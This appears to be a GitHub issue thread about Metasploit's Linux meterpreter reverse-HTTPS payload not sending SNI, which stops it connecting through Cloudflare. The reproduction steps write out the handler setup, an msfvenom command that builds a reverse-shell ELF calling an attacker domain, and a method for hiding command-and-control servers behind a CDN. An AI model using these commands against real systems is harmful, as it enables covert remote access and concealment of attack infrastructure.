Open jiakun02 opened 1 week ago
I think in most cases we don't validate the SSL certificate that's used for the HTTPS connection. The underlying Meterpreter protocol uses it's own encryption and we offer peer validation through other means. Typically when I see SNI being configured, it's server side anyways.
Is there something that isn't working that you think should be working and if so can you please provide steps that we can use to replicate it?
I think in most cases we don't validate the SSL certificate that's used for the HTTPS connection. The underlying Meterpreter protocol uses it's own encryption and we offer peer validation through other means. Typically when I see SNI being configured, it's server side anyways.
Is there something that isn't working that you think should be working and if so can you please provide steps that we can use to replicate it?
Nowadays, network architectures are changing a lot. Cloudflare usually uses shared traffic devices. If the https traffic they receive from the client does not carry SNI, it will not know which domain name in their shared pool this request corresponds to, because they use the same device for many domain names. When they identify https traffic, they need to forward it to the user's backend server based on SNI.
Reproduction steps:
Step 1:
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_https
set lhost 0.0.0.0
set lport 443
run
Step 2:
Register a domain name, or use an existing one. If you use an existing domain name, cancel the previous resolution of the domain name first. If it is a new domain name, you do not need to cancel it. Then go to Cloudflare to add this domain name
After adding, you will get 2 name servers provided by Cloudflare. Then go to the domain hosting platform to modify the name server corresponding to your domain name and change it to the name server provided by Cloudflare
Add two A records, @ root resolution and www resolution respectively
Turn off Cloudflare's cache, otherwise you will need to clean it up manually in Cloudflare's dashboard
Step 3: Use commands such as ping, nslookup, dig or host to check whether DNS resolution is effective
Step 4: msfvenom -p linux/x64/meterpreter_reverse_https lhost=your domain lport=443 -f elf -o test.elf
Step 5: Execute test.elf chmod +x test.elf ./test.elf
Step 6: Open wireshark to capture the data packet, and you can see that SNI is not carried
Step 7: Observe msfconsole and you will find that no connection is received
This is the traffic carrying SNI, which can communicate normally: This is your template without SNI, and it cannot communicate through CDN agents such as cloudflare: The elf executable file generated by your template can only be used without a proxy. However, in today's red-blue confrontation, the network architecture is becoming increasingly complex. There are many vendors like Cloudflare. The red team hopes to use large vendors to hide the real backend server. Based on this situation, https communication must carry SNI, otherwise communication will not be possible.
Oh okay, that makes a lot more sense. Thanks your detailed response.
The domain name hosted by cloudflare requires SNI, but the backdoor program for https reverse connection generated by msfvenom on the Linux platform does not carry SNI, only the Windows platform has it.